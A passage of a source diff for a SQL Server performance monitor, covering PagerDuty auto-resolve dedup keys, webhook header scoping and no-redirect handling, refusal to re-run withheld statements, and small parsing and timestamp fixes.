+                       pair, and an AG edge without the identity, clear the per-server key as before. */
+                    _cooldown.ClearMetric(serverId, clearedFiring, cooldownScope);
+                }
+
+                /* #5469: the other half of the same re-arm. The recovery stamps ITS OWN key on its first send,
+                   and the clear above names only the firing's key, so a second outage that recovers inside
+                   the window met the first recovery's stamp: its resolve was throttled and PagerDuty's
+                   second incident stayed open. A DELIVERED firing of the pair, under the same condition as
+                   the clear above, therefore forgets its closing edge's entry — the new incident has not
+                   been closed yet, so the next recovery is a first notice again. Like the clear above it names
+                   the replica's own key for the AG pair (cooldownScope), so a sibling replica's recovery
+                   window is left alone. */
+                if (pagerDutyError is null
+                    && pagerDutyAutoResolve
+                    && AlertFamily.TryGetRecoveryOf(metricName, out var recoveryOfFiring))
+                {
+                    _cooldown.ClearMetric(serverId, recoveryOfFiring, cooldownScope);
+                }
             }
 
             if (sent)
@@ -554,6 +624,7 @@ private WebhookChannelFailureCount ChannelFailureCount(
     /// (#3598) — the parent's URL when no route touched this firing — while the proxy stays the parent's:
     /// a route says where a family lands, not how the channel type is reached.</summary>
     private async Task<string?> TrySendTeamsAlertAsync(
+        IAlertSettings settings,
         string webhookUrl,
         string metricName,
         string serverName,
@@ -570,7 +641,7 @@ private WebhookChannelFailureCount ChannelFailureCount(
         {
             var payload = BuildTeamsPayload(metricName, serverName, currentValue, thresholdValue, _branding, context: context, triageUrl: triageUrl,
                 detailText: detailText, displayName: displayName, nowUtc: nowUtc);
-            var error = await PostWebhookAsync(webhookUrl, payload, _settings.TeamsProxyAddress, cancellationToken: cancellationToken);
+            var error = await PostWebhookAsync(webhookUrl, payload, settings.TeamsProxyAddress, cancellationToken: cancellationToken);
 
             if (error != null)
             {
@@ -870,6 +941,7 @@ over the text(s) in backticks — rather than one fact per attribute (seven per
     /// <summary>Posts to Slack. Null when the post succeeded, the error text when it did not — see
     /// <see cref="TrySendTeamsAlertAsync"/>, including for the routed <paramref name="webhookUrl"/>.</summary>
     private async Task<string?> TrySendSlackAlertAsync(
+        IAlertSettings settings,
         string webhookUrl,
         string metricName,
         string serverName,
@@ -886,7 +958,7 @@ over the text(s) in backticks — rather than one fact per attribute (seven per
         {
             var payload = BuildSlackPayload(metricName, serverName, currentValue, thresholdValue, _branding, context: context, triageUrl: triageUrl,
                 detailText: detailText, displayName: displayName, nowUtc: nowUtc);
-            var error = await PostWebhookAsync(webhookUrl, payload, _settings.SlackProxyAddress, cancellationToken: cancellationToken);
+            var error = await PostWebhookAsync(webhookUrl, payload, settings.SlackProxyAddress, cancellationToken: cancellationToken);
 
             if (error != null)
             {
@@ -1872,6 +1944,7 @@ block the prose needs to state itself when there is prose. The analysis pages th
     /// too: an operator config error still delivers nothing, and naming it is the difference between a
     /// fixable row and a bare "failed".</summary>
     private async Task<string?> TrySendGenericAlertAsync(
+        IAlertSettings settings,
         string webhookUrl,
         string metricName,
         string serverName,
@@ -1889,15 +1962,23 @@ block the prose needs to state itself when there is prose. The analysis pages th
             /* A malformed headers JSON / body template is an operator config error, not a transport
                failure — but it still counts as a failure so the health surface and the log throttle
                report a channel that is delivering nothing, and it must never throw into the alert loop. */
-            if (!TryParseHeaders(_settings.GenericWebhookHeadersJson, out var headers, out var headerError))
+            if (!TryParseHeaders(settings.GenericWebhookHeadersJson, out var headers, out var headerError))
             {
                 RecordGenericFailure(headerError!);
                 return headerError;
             }
 
+            /* #5366: the configured headers go only to the generic URL itself or a path under it on the same
+               scheme, host and port. A route to any other URL gets the body but not the headers. */
+            if (headers.Count > 0 && !HeadersApplyTo(webhookUrl, settings.GenericWebhookUrl))
+            {
+                headers = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
+                _logger.LogInformation("Generic webhook headers were not sent: the routed endpoint is not the generic URL or a path under it");
+            }
+
             var payload = BuildGenericPayload(
                 metricName, serverName, currentValue, thresholdValue, _branding,
-                context: context, bodyTemplate: _settings.GenericWebhookBodyTemplate, serverId: serverId,
+                context: context, bodyTemplate: settings.GenericWebhookBodyTemplate, serverId: serverId,
                 triageUrl: triageUrl, detailText: detailText, nowUtc: nowUtc);
 
             if (!IsWellFormedJson(payload, out var bodyError))
@@ -1909,7 +1990,7 @@ block the prose needs to state itself when there is prose. The analysis pages th
             /* #3598: the routed endpoint; headers, body template and proxy stay the parent's — a route
                redirects the POST, it does not re-author it. */
             var error = await PostWebhookAsync(
-                webhookUrl, payload, _settings.GenericWebhookProxyAddress, headers, cancellationToken);
+                webhookUrl, payload, settings.GenericWebhookProxyAddress, headers, cancellationToken);
 
             if (error != null)
             {
@@ -1939,6 +2020,47 @@ block the prose needs to state itself when there is prose. The analysis pages th
         }
     }
 
+    /// <summary>Whether the generic headers go to <paramref name="routeUrl"/> (#5366): it has the same scheme, host
+    /// and port as <paramref name="genericUrl"/>, and its path is the generic path or continues it at a "/"
+    /// boundary, so "/alerts" covers "/alerts" and "/alerts/team-a" but not "/alerts2" or "/other". Paths compare
+    /// case-sensitively after URI parsing; the query string is ignored. A generic URL whose path is "/" covers
+    /// only a route whose path is exactly "/", and a route path containing %2F or %5C (any case) matches nothing.
+    /// Text that is not an absolute URL matches nothing, not even itself.</summary>
+    internal static bool HeadersApplyTo(string? routeUrl, string? genericUrl)
+    {
+        if (!Uri.TryCreate(routeUrl?.Trim(), UriKind.Absolute, out var a) || !Uri.TryCreate(genericUrl?.Trim(), UriKind.Absolute, out var b))
+        {
+            return false;
+        }
+
+        if (!string.Equals(a.Scheme, b.Scheme, StringComparison.OrdinalIgnoreCase)
+            || !string.Equals(a.IdnHost, b.IdnHost, StringComparison.OrdinalIgnoreCase)
+            || a.Port != b.Port)
+        {
+            return false;
+        }
+
+        var genericPath = b.AbsolutePath.TrimEnd('/');
+        var routePath = a.AbsolutePath;
+
+        /* A route path with an encoded slash or backslash does not take the headers: the "/" boundary below is for
+           plain paths only. */
+        if (routePath.Contains("%2F", StringComparison.OrdinalIgnoreCase) || routePath.Contains("%5C", StringComparison.OrdinalIgnoreCase))
+        {
+            return false;
+        }
+
+        /* A generic URL at the site root has an empty path here: it covers only the root itself, not every path
+           on the host. */
+        if (genericPath.Length == 0)
+        {
+            return routePath == "/";
+        }
+
+        return routePath.Equals(genericPath, StringComparison.Ordinal)
+            || routePath.StartsWith(genericPath + "/", StringComparison.Ordinal);
+    }
+
     /* The Teams/Slack log-throttle shape (loud for the first 3, then every 50th) — factored out only
        because the generic channel fails from three places (headers, body, transport). */
     private void RecordGenericFailure(string error)
@@ -2019,7 +2141,9 @@ internal static string BuildGenericPayload(
             : RenderContextForTemplate(context, branding, prose);
 
         /* Keyed on the numeric serverId the fan-out passes — the same identity the LIVE PagerDuty path
-           feeds DerivePagerDutyDedupKey — so the two channels' keys are equal for the same alert. The
+           feeds DerivePagerDutyDedupKey — so the two channels' keys are equal for the same alert, except
+           an edge pair with PagerDuty auto-resolve on: this call keeps the default autoResolve = false on
+           purpose (#5469), so the token stays on per-state keys while PagerDuty's follows the flag. The
            serverName arm is THIS channel's own fallback for callers with no id (the settings-window test
            send); it is not a guarantee PagerDuty's path shares, so a caller wanting cross-channel
            correlation must pass the id. */
@@ -2381,9 +2505,13 @@ private static bool IsWellFormedJson(string payload, out string? error)
 
     #region PagerDuty
 
+    internal Func<string, string, Task<string?>>? PostPagerDutyAsyncOverride { get; set; }
+
     /// <summary>Posts to PagerDuty Events v2. Null when the post succeeded, the error text when it did not
     /// — see <see cref="TrySendTeamsAlertAsync"/>.</summary>
     private async Task<string?> TrySendPagerDutyAlertAsync(
+        IAlertSettings settings,
+        bool autoResolve,
         string routingKey,
         string metricName,
         string serverName,
@@ -2402,17 +2530,26 @@ private static bool IsWellFormedJson(string payload, out string? error)
             /* Derive the dedup_key from the same fingerprint the cooldown uses, so repeated alerts for
                the same ongoing incident correlate into one PagerDuty alert. Falls back to a stable
                metric+server key when there is no incident. */
-            var dedupKey = DerivePagerDutyDedupKey(serverId, metricName, context);
+            var dedupKey = DerivePagerDutyDedupKey(serverId, metricName, context, autoResolve);
 
             /* #3598: the routed routing key (a PagerDuty SERVICE is a destination); the EU-region flag and
                proxy stay the parent's. */
             var payload = BuildPagerDutyPayload(
                 metricName, serverName, currentValue, thresholdValue, _branding,
                 routingKey, context: context, dedupKey: dedupKey, triageUrl: triageUrl,
-                detailText: detailText, displayName: displayName, nowUtc: nowUtc);
-
-            var endpoint = PagerDutyEndpoint(_settings.PagerDutyUseEuRegion);
-            var error = await PostWebhookAsync(endpoint, payload, _settings.PagerDutyProxyAddress, cancellationToken: cancellationToken);
+                detailText: detailText, displayName: displayName, nowUtc: nowUtc,
+                autoResolve: autoResolve);
+
+            /* #4752: test-only override for the PagerDuty send above (below). A test funneling an
+               alert THROUGH the service must read the payload the wire saw — which a real post won't let
+               it, because the only POST the PagerDuty body has ever taken spells the fixed Events v2
+               production endpoint (it is not routed, unlike the token channels). The override answers the
+               send and captures the payload instead; it is on the instance (not static), so one test's
+               capture can never leak into another's run. Production construction sites never set it. */
+            var endpoint = PagerDutyEndpoint(settings.PagerDutyUseEuRegion);
+            var error = PostPagerDutyAsyncOverride is not null
+                ? await PostPagerDutyAsyncOverride(endpoint, payload)
+                : await PostWebhookAsync(endpoint, payload, settings.PagerDutyProxyAddress, cancellationToken: cancellationToken);
 
             if (error != null)
             {
@@ -2450,9 +2587,13 @@ proxy stay the parent's. */
     }
 
     /// <summary>
-    /// Builds a PagerDuty Events API v2 payload. Always sends event_action: "trigger" (no resolve wiring —
-    /// matches Teams/Slack/Generic which also don't deliver "Cleared" notifications). The dedup_key correlates
-    /// repeated triggers for the same ongoing incident into one PagerDuty alert.
+    /// Builds a PagerDuty Events API v2 payload. Firing conditions send event_action: "trigger". The CLOSING
+    /// edge of an edge-type alert pair (<see cref="AlertFamily.RecoveryPairs"/> — "Server Restored",
+    /// "AG Replica Reconnected") sends "resolve" ONLY when <paramref name="autoResolve"/> is set — an opt-in,
+    /// PagerDuty-only auto-close of the incident its firing edge's trigger opened — otherwise it is an
+    /// info-severity trigger on the same dedup_key and the incident stays open. Teams/Slack/Generic still
+    /// deliver no "Cleared" notifications; this is PagerDuty's own incident lifecycle. The dedup_key
+    /// correlates repeated triggers for the same ongoing incident into one PagerDuty alert.
     /// <para>#2710: a non-null <paramref name="triageUrl"/> rides in BOTH the Events v2 <c>links</c> array
     /// (which PD renders as a first-class link on the alert) and <c>custom_details["Triage"]</c> (so an
     /// integration reading only the details table still gets it). Null renders the pre-#2710 payload — no
@@ -2476,7 +2617,8 @@ internal static string BuildPagerDutyPayload(
         string? triageUrl = null,
         string? detailText = null,
         string? displayName = null,
-        DateTime? nowUtc = null)
+        DateTime? nowUtc = null,
+        bool autoResolve = false)
     {
         var (_, badgeText, _) = AlertSeverity.ForMetric(metricName, context?.SeverityOverride);
         var severity = MapToPagerDutySeverity(badgeText);
@@ -2485,6 +2627,16 @@ dedup_key below stay on the immutable metric name so correlation/dedup are renam
         var titleName = string.IsNullOrEmpty(displayName) ? metricName : displayName;
         var utcNow = nowUtc ?? DateTime.UtcNow;
 
+        /* Auto-resolve is opt-in and PagerDuty-only: the closing edge of an edge-type pair (the
+           <see cref="AlertFamily.RecoveryPairs"/> census — connection restore, replica reconnect) closes the
+           incident its firing edge's trigger opened, via event_action "resolve" on the SAME dedup_key. Off
+           (the default), the closing edge is an info-severity trigger and the incident stays open, so the
+           tool never auto-resolves a third-party incident unasked. A test notification always triggers (it
+           carries a throwaway key and has no incident to close). */
+        var eventAction = !isTest && autoResolve && AlertFamily.RecoveryPairs.ContainsKey(metricName)
+            ? "resolve"
+            : "trigger";
+
         /* PD-CEF caps summary at 1024 chars — no truncation needed given the source strings, but document
            the constraint matching this codebase's habit of documenting limits even when unreachable. */
         var summary = isTest
@@ -2499,8 +2651,11 @@ the constraint matching this codebase's habit of documenting limits even when un
             isTest, branding, context, triageUrl, AlertDetailText.ProseForDelivery(detailText, context));
 
         /* Derive dedup_key from the incident fingerprint when not explicitly provided, falling back to a
-           stable metric+server key. This ensures PagerDuty correlates repeated alerts for the same incident. */
-        var effectiveDedupKey = dedupKey ?? DerivePagerDutyDedupKey(serverId ?? serverName, metricName, context);
+           stable metric+server key. This ensures PagerDuty correlates repeated alerts for the same incident.
+           Carries the operator's auto-resolve choice so the resolve lands on the same key the trigger opened:
+           the paired-lifecycle rename only applies when the flag is on (off keeps the shipped keys). */
+        var effectiveDedupKey = dedupKey ?? DerivePagerDutyDedupKey(serverId ?? serverName, metricName, context,
+            autoResolve: autoResolve);
 
         /* A string-keyed dictionary rather than the previous anonymous type, so the #2710 links array can be
            present-or-absent (Events v2 accepts links: [] but an absent key is the honest "no link" shape and
@@ -2509,7 +2664,7 @@ Dictionary in practice but nothing here depends on key order. */
         var payload = new Dictionary<string, object>
         {
             ["routing_key"] = routingKey,
-            ["event_action"] = "trigger",
+            ["event_action"] = eventAction,
             ["dedup_key"] = effectiveDedupKey,
             ["payload"] = new
             {
@@ -2618,16 +2773,101 @@ because custom_details is what PD's table view and most downstream integrations
         return details;
     }
 
+    /// <summary>
+    /// The send-path twin of <see cref="DerivePagerDutyDedupKey"/>: the same key derivation, with the
+    /// operator's PagerDutyAutoResolve choice already read from <paramref name="settings"/>, so the live
+    /// call sites stay one-liners rather than each repeating it. Static: it reads a settings parameter,
+    /// not the service's own — this is also what lets the email path (which holds a WebhookAlertService
+    /// only for the fan-out) and the test path pass their own.
+    /// </summary>
+    internal static string DerivePagerDutyDedupKeyForSend(string serverId, string metricName, AlertContext? context, IAlertSettings settings) =>
+        DerivePagerDutyDedupKey(serverId, metricName, context, settings.PagerDutyAutoResolve);
+
+    /// <summary>
+    /// The per-replica identity of an AG pair edge, or null (#5469): non-null only with auto-resolve on, for
+    /// either edge of the AG Replica Disconnected / Reconnected pair, and only when the alert carries
+    /// <see cref="AlertContext.AgReplicaIdentity"/>. The ONE place the rule lives: the PagerDuty dedup key
+    /// appends it so each replica is its own incident, and the webhook cooldown folds it into the metric-level
+    /// key so each replica's window is its own too. Null leaves both keys exactly as they were, so a flag off,
+    /// the server pair and an AG edge without the identity are all byte-identical to the per-server shape.
+    /// The AG firing literal is spelled here rather than read from PerformanceMonitor.Common's AG consts: this
+    /// assembly must not take that dependency.
+    /// </summary>
+    internal static string? PairedReplicaScope(string metricName, AlertContext? context, bool autoResolve)
+    {
+        if (!autoResolve
+            || !AlertFamily.IsPairedEdge(metricName)
+            || !string.Equals(AlertFamily.Canonical(metricName), "AG Replica Disconnected", StringComparison.Ordinal)
+            || string.IsNullOrWhiteSpace(context?.AgReplicaIdentity))
+        {
+            return null;
+        }
+
+        return context.AgReplicaIdentity;
+    }
+
     /// <summary>
     /// Derives the PagerDuty dedup_key from the same fingerprint the cooldown uses, so repeated alerts for
-    /// the same ongoing incident correlate into one PagerDuty alert. Falls back to a stable metric+server
-    /// key when there is no incident (mirrors the cooldown's own "no incidents → metric-level fallback key" rule).
+    /// the same ongoing incident correlate into one PagerDuty alert. Falls back to a stable server+incident
+    /// key when there is no incident (mirrors the cooldown's own "no incidents → metric-level fallback key"
+    /// rule).
+    ///
+    /// <para><b>Edge pairs are renamed to their incident — but only when the operator asked for the paired
+    /// lifecycle.</b> The edge-type alerts ("Server Unreachable" / "Server Restored", "AG Replica
+    /// Disconnected" / "AG Replica Reconnected") are two halves of ONE incident, so when
+    /// <paramref name="autoResolve"/> is on both edges derive the key from the pair's canonical FIRING name
+    /// (<see cref="AlertFamily.RecoveryPairs"/>) instead of keying on the metric name: the name encodes the
+    /// current STATE, so using it minted a distinct dedup_key per edge and PagerDuty showed two incidents for
+    /// one outage (and a closing edge could never resolve the open one — its key named a different
+    /// incident). Every future pair added to that census joins this by construction. With the default off,
+    /// each edge keeps its own state-named key, so the triage link reads exactly as it did before this rung:
+    /// correlation is an opt-in behaviour change, scoped entirely to the operator who switched it on. The
+    /// generic webhook's <c>{{dedup_key}}</c> token is NOT part of the opt-in (#5469): its send derives the key
+    /// with the default <c>autoResolve = false</c>, so it stays on per-state keys with the flag on or off.</para>
+    ///
+    /// <para>The AG pair's key is also scoped per replica: "{serverId}:AG Replica Disconnected:{ag}:{replica}"
+    /// from <see cref="AlertContext.AgReplicaIdentity"/>. Without that there is still one key per SERVER for
+    /// the whole group: with auto-resolve on, one replica's reconnect would resolve the incident a
+    /// still-disconnected sibling is still holding open (and with the re-fire defaulting to 0, nothing opens
+    /// it again). The identity is a single "AG:replica" member (not two) so it can't be set half-way; a pair
+    /// that arrives WITHOUT the identity keeps the old server-level key rather than failing the render —
+    /// the per-replica key is the better incident, not a contract, and a deploy that hasn't applied the new
+    /// fire sites yet still converges to one key per server per firing.</para>
+    ///
+    /// <para>The rename runs before the incident-fingerprint path on purpose: a closing edge that ever
+    /// carried incident fingerprints would hash them under its own state name and split the pair again, and
+    /// the deliverable recovery set is pinned to stateless notices — the incident identity IS the firing's
+    /// canonical name. The consumers that follow the flag (PagerDuty and the triage link) share the
+    /// normalized key, which is the cross-channel correlation those call sites document. The generic
+    /// <c>{{dedup_key}}</c> token does not follow it (#5469).</para>
     ///
     /// <para>Internal (#4220), not private: <see cref="EmailSendCore"/> reads it too, so the triage link's
     /// dedup key agrees with PagerDuty's for the same firing across every channel, email included.</para>
     /// </summary>
-    internal static string DerivePagerDutyDedupKey(string serverId, string metricName, AlertContext? context)
+    internal static string DerivePagerDutyDedupKey(string serverId, string metricName, AlertContext? context, bool autoResolve = false)
     {
+        /* The paired lifecycle, gated on the operator's opt-in: when on, BOTH edges of a pair derive the
+           firing's identity (so the pair is one incident); when off, each edge keeps its own state-named
+           key, byte-identical to the shipped behavior. IsPairedEdge covers the recovery's own name AND the
+           firing's: the closing edge's TryGetValue binds its pair's firing, and the firing edge's name is
+           recognized as the pair's incident directly — so both sides converge on it. The connection pair
+           needs no identity member (one connection state per server). The AG pair appends the "AG:replica"
+           identity its fire sites carry — one replica's reconnect must resolve only ITS incident. An AG edge
+           with no identity cannot happen from the shipped fire sites, so it keeps the per-server key rather
+           than failing the render. The AG firing literal is spelled here rather than read from
+           PerformanceMonitor.Common's AG consts: this assembly must not take that dependency. */
+        if (autoResolve && AlertFamily.IsPairedEdge(metricName))
+        {
+            var firing = AlertFamily.Canonical(metricName);
+            var replica = PairedReplicaScope(metricName, context, autoResolve);
+            if (replica is not null)
+            {
+                return $"{serverId}:{firing}:{replica}";
+            }
+
+            return $"{serverId}:{firing}";
+        }
+
         var incidents = context?.Incidents;
         if (incidents is { Count: > 0 })
         {
@@ -2704,6 +2944,15 @@ the ephemeral port range when many servers alert. One pooled client covers the
 
     private static readonly ConcurrentDictionary<string, HttpClient> s_proxyClients = new();
 
+    /* #5366: a send that carries the generic headers does not follow redirects, so the headers go to the URL they
+       were set up for and nowhere else. These two clients serve only those sends; sends without headers keep the
+       clients above. */
+    private static readonly HttpClient s_defaultNoRedirectClient =
+        new(new SocketsHttpHandler { PooledConnectionLifetime = TimeSpan.FromMinutes(5), AllowAutoRedirect = false })
+        { Timeout = TimeSpan.FromSeconds(30) };
+
+    private static readonly ConcurrentDictionary<string, HttpClient> s_proxyNoRedirectClients = new();
+
     /* #4752: how long ONE webhook post may take, from the send to the last byte of the response. The pooled
        clients' 30-second Timeout stays as the outer bound and is not what a post normally meets. A delivery
        posts to up to four channels one after another, so an endpoint that accepts the connection and never
@@ -2712,17 +2961,18 @@ the ephemeral port range when many servers alert. One pooled client covers the
        slower one is reported as failed, with the timeout as the reason, instead of being waited on. */
     internal static readonly TimeSpan WebhookPostTimeout = TimeSpan.FromSeconds(10);
 
-    private static HttpClient GetHttpClient(string? proxyAddress)
+    private static HttpClient GetHttpClient(string? proxyAddress, bool followRedirects = true)
     {
         if (string.IsNullOrWhiteSpace(proxyAddress))
-            return s_defaultClient;
+            return followRedirects ? s_defaultClient : s_defaultNoRedirectClient;
 
-        return s_proxyClients.GetOrAdd(proxyAddress, addr =>
+        return (followRedirects ? s_proxyClients : s_proxyNoRedirectClients).GetOrAdd(proxyAddress, addr =>
             new HttpClient(new SocketsHttpHandler
             {
                 Proxy = new WebProxy(addr),
                 UseProxy = true,
-                PooledConnectionLifetime = TimeSpan.FromMinutes(5)
+                PooledConnectionLifetime = TimeSpan.FromMinutes(5),
+                AllowAutoRedirect = followRedirects
             })
             { Timeout = TimeSpan.FromSeconds(30) });
     }
@@ -2759,7 +3009,8 @@ private static HttpClient GetHttpClient(string? proxyAddress)
         TimeSpan postTimeout,
         CancellationToken cancellationToken)
     {
-        var client = GetHttpClient(proxyAddress);
+        var sendsHeaders = headers is { Count: > 0 };
+        var client = GetHttpClient(proxyAddress, followRedirects: !sendsHeaders);
         using var content = new StringContent(jsonPayload, Encoding.UTF8, "application/json");
         using var request = new HttpRequestMessage(HttpMethod.Post, webhookUrl) { Content = content };
 
@@ -2782,6 +3033,13 @@ private static HttpClient GetHttpClient(string? proxyAddress)
             if (response.IsSuccessStatusCode)
                 return null;
 
+            /* #5366: a redirect is not followed on a send with headers. The message names no URL and no header. */
+            if (sendsHeaders && (int)response.StatusCode is >= 300 and < 400)
+            {
+                return string.Create(CultureInfo.InvariantCulture,
+                    $"HTTP {(int)response.StatusCode}: the endpoint answered with a redirect. Set the webhook URL to the final address.");
+            }
+
             /* Cap the destination's error body: it goes into the log + the health getter, and an unbounded read
                lets a hostile/misconfigured endpoint bloat both (and, if it echoes request headers, spill more of
                them). The first 2 KB is plenty to diagnose a 4xx/5xx. */
diff --git a/PerformanceMonitor.PlanAnalysis/ActualPlanExecutor.cs b/PerformanceMonitor.PlanAnalysis/ActualPlanExecutor.cs
index e946554c0a..b32479d385 100644
--- a/PerformanceMonitor.PlanAnalysis/ActualPlanExecutor.cs
+++ b/PerformanceMonitor.PlanAnalysis/ActualPlanExecutor.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.PlanAnalysis;
 
@@ -53,20 +54,17 @@ public static class ActualPlanExecutor
         CancellationToken cancellationToken,
         string productName = DefaultProductName)
     {
-        /* Build the repro script (includes SET options from plan XML via #233) */
-        var reproScript = ReproScriptBuilder.BuildReproScript(
-            queryText, databaseName, planXml, isolationLevel,
-            source: "Actual Plan Capture", isAzureSqlDb: isAzureSqlDb,
-            productName: productName);
-
-        /* Wrap with SET STATISTICS XML ON/OFF */
-        var sb = new StringBuilder();
-        sb.AppendLine("SET STATISTICS XML ON;");
-        sb.AppendLine(reproScript);
-        sb.AppendLine("SET STATISTICS XML OFF;");
-
-        var fullScript = sb.ToString();
+        return await ExecuteForActualPlanAsync(
+            connectionString, databaseName, queryText, planXml, isolationLevel, isAzureSqlDb, timeoutSeconds,
+            productName, RunOnServerAsync, cancellationToken);
+    }
 
+    /// <summary>Runs a built batch against the server and returns the captured plan: the production run the
+    /// internal overload takes as its seam, so Darling.Tests can see the batch without a SQL Server.</summary>
+    private static async Task<string?> RunOnServerAsync(
+        string connectionString, string databaseName, string fullScript, bool isAzureSqlDb, int timeoutSeconds,
+        CancellationToken cancellationToken)
+    {
         /* Override database in connection string */
         var builder = new SqlConnectionStringBuilder(connectionString);
         if (!string.IsNullOrEmpty(databaseName) && !isAzureSqlDb)
@@ -90,6 +88,48 @@ public static class ActualPlanExecutor
         return await CapturePlanXmlAsync(new SqlActualPlanReader(reader), cancellationToken);
     }
 
+    /// <summary>The executor with the server run replaced by <paramref name="run"/>; everything before the run (the
+    /// refusal check and the batch build) is the production path.</summary>
+    internal static async Task<string?> ExecuteForActualPlanAsync(
+        string connectionString,
+        string databaseName,
+        string queryText,
+        string? planXml,
+        string? isolationLevel,
+        bool isAzureSqlDb,
+        int timeoutSeconds,
+        string productName,
+        Func<string, string, string, bool, int, CancellationToken, Task<string?>> run,
+        CancellationToken cancellationToken)
+    {
+        /* #4348: a collector that withheld a statement stored the marker in its place. Re-running that would send
+           the marker as a comment, capture no plan, and look like the query ran; say what happened instead. */
+        /* An old stored statement the filter would withhold today (a row written before the filter was on) is
+           judged the same way and refused with the same sentence: Text returns the same instance for clean text. */
+        if (queryText.Trim() == SensitiveStatements.PlaceholderText
+            || !ReferenceEquals(SensitiveStatements.Text(queryText), queryText))
+        {
+            throw new InvalidOperationException(
+                "This statement's text was withheld (#4348), so it cannot be run to capture an actual plan.");
+        }
+
+        /* Build the repro script (includes SET options from plan XML via #233) */
+        var reproScript = ReproScriptBuilder.BuildReproScript(
+            queryText, databaseName, planXml, isolationLevel,
+            source: "Actual Plan Capture", isAzureSqlDb: isAzureSqlDb,
+            productName: productName);
+
+        /* Wrap with SET STATISTICS XML ON/OFF */
+        var sb = new StringBuilder();
+        sb.AppendLine("SET STATISTICS XML ON;");
+        sb.AppendLine(reproScript);
+        sb.AppendLine("SET STATISTICS XML OFF;");
+
+        var fullScript = sb.ToString();
+
+        return await run(connectionString, databaseName, fullScript, isAzureSqlDb, timeoutSeconds, cancellationToken);
+    }
+
     /// <summary>
     /// Walks every result set the SET-STATISTICS-XML batch produces, discarding the data rows and capturing the
     /// single-column row whose value begins with <c>&lt;ShowPlanXML</c> (the plan result set SQL Server appends
diff --git a/PerformanceMonitor.PlanAnalysis/QueryModificationDetector.cs b/PerformanceMonitor.PlanAnalysis/QueryModificationDetector.cs
index 1e9de7ee41..35f21e0557 100644
--- a/PerformanceMonitor.PlanAnalysis/QueryModificationDetector.cs
+++ b/PerformanceMonitor.PlanAnalysis/QueryModificationDetector.cs
@@ -147,6 +147,14 @@ private static IReadOnlyList<string> ScanTextForStatementTypes(string? queryText
         return found;
     }
 
+    /// <summary>
+    /// One sentence every "run this captured query to get its actual plan" confirmation shows: the text came
+    /// from the monitored server, and any user of that server may have written it, so the operator reads it
+    /// before allowing the run. Shared so Lite, the Darling viewer and the shared plan navigation word it alike.
+    /// </summary>
+    public const string CapturedQueryNotice =
+        "This query text was captured from the monitored server, and any user of that server may have written it, so read it before you allow the run.";
+
     /// <summary>
     /// Builds the PROMINENT, distinct data-modification warning block for a consent dialog (empty string when
     /// the query does not modify data — the caller shows only its normal "this will execute" warning). Shared
diff --git a/PerformanceMonitor.PlanAnalysis/ReproScriptBuilder.cs b/PerformanceMonitor.PlanAnalysis/ReproScriptBuilder.cs
index 560fdd1dfb..dc5b61a503 100644
--- a/PerformanceMonitor.PlanAnalysis/ReproScriptBuilder.cs
+++ b/PerformanceMonitor.PlanAnalysis/ReproScriptBuilder.cs
@@ -167,7 +167,10 @@ own GO. Decided before the header is built so the warning lands in it. */
         {
             sb.AppendLine($"Database: [{CommentSafe(databaseName)}]");
         }
-        sb.AppendLine($"Generated: {DateTime.Now:yyyy-MM-dd HH:mm:ss}");
+        /* UTC, labelled: the stamp used to be DateTime.Now, the clock of the machine that built the script. For the
+           web dashboard that is the service host, so the line read 04:36:12 at 11:36 UTC with no zone and matched
+           neither the browser's clock nor UTC (release walk). One zone for every app that builds a script. */
+        sb.AppendLine($"Generated: {DateTime.UtcNow:yyyy-MM-dd HH:mm:ss} UTC");
 
         if (warnings.Count > 0)
         {
diff --git a/PerformanceMonitor.PlanAnalysis/ShowPlanParser.cs b/PerformanceMonitor.PlanAnalysis/ShowPlanParser.cs
index 3ea1c52b6f..16b67d375f 100644
--- a/PerformanceMonitor.PlanAnalysis/ShowPlanParser.cs
+++ b/PerformanceMonitor.PlanAnalysis/ShowPlanParser.cs
@@ -595,6 +595,10 @@ private static void ParseStmtAttributes(PlanStatement stmt, XElement stmtEl)
         stmt.QueryHash = stmtEl.Attribute("QueryHash")?.Value;
         stmt.QueryPlanHash = stmtEl.Attribute("QueryPlanHash")?.Value;
 
+        // SQL Server records ParameterizedText as an ATTRIBUTE of the statement element (an Adhoc shell statement
+        // has no QueryPlan, so it never reaches ParseQueryPlanElements). The element form stays as the fallback.
+        stmt.ParameterizedText = stmtEl.Attribute("ParameterizedText")?.Value ?? stmt.ParameterizedText;
+
         // Bug fix 1.3: CE version is on StmtSimple per XSD
         stmt.CardinalityEstimationModelVersion = (int)ParseDouble(stmtEl.Attribute("CardinalityEstimationModelVersion")?.Value);
 
@@ -682,7 +686,7 @@ private static void ParseQueryPlanElements(PlanStatement stmt, XElement stmtEl,
         stmt.UsePlan = queryPlanEl.Attribute("UsePlan")?.Value is "true" or "1";
 
         // Wave 3.5: ParameterizedText
-        stmt.ParameterizedText = queryPlanEl.Element(Ns + "ParameterizedText")?.Value;
+        stmt.ParameterizedText ??= queryPlanEl.Element(Ns + "ParameterizedText")?.Value;
 
         // XSD gap: QueryPlan-level attributes
         stmt.ContainsInterleavedExecutionCandidates = queryPlanEl.Attribute("ContainsInterleavedExecutionCandidates")?.Value is "true" or "1";
diff --git a/PerformanceMonitor.Ui/AccessibleNames.cs b/PerformanceMonitor.Ui/AccessibleNames.cs
new file mode 100644
index 0000000000..6ff6dbc3c7
--- /dev/null
+++ b/PerformanceMonitor.Ui/AccessibleNames.cs
@@ -0,0 +1,723 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Linq;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Controls;
+using System.Windows.Media;
+using System.Windows.Threading;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// Gives every tab, grid column header, grid row and empty grid cell an accessible name taken from what is on screen
+/// (Lite click-through F17).
+///
+/// <para>A tab whose header is a panel (the server tabs: a name, a badge and a close button) and a grid column whose header
+/// is a panel (the filter button beside the title) have no <c>AutomationProperties.Name</c>, so UI Automation names them by
+/// the type name of the header ("System.Windows.Controls.StackPanel"). A grid row is named by its data item's type name
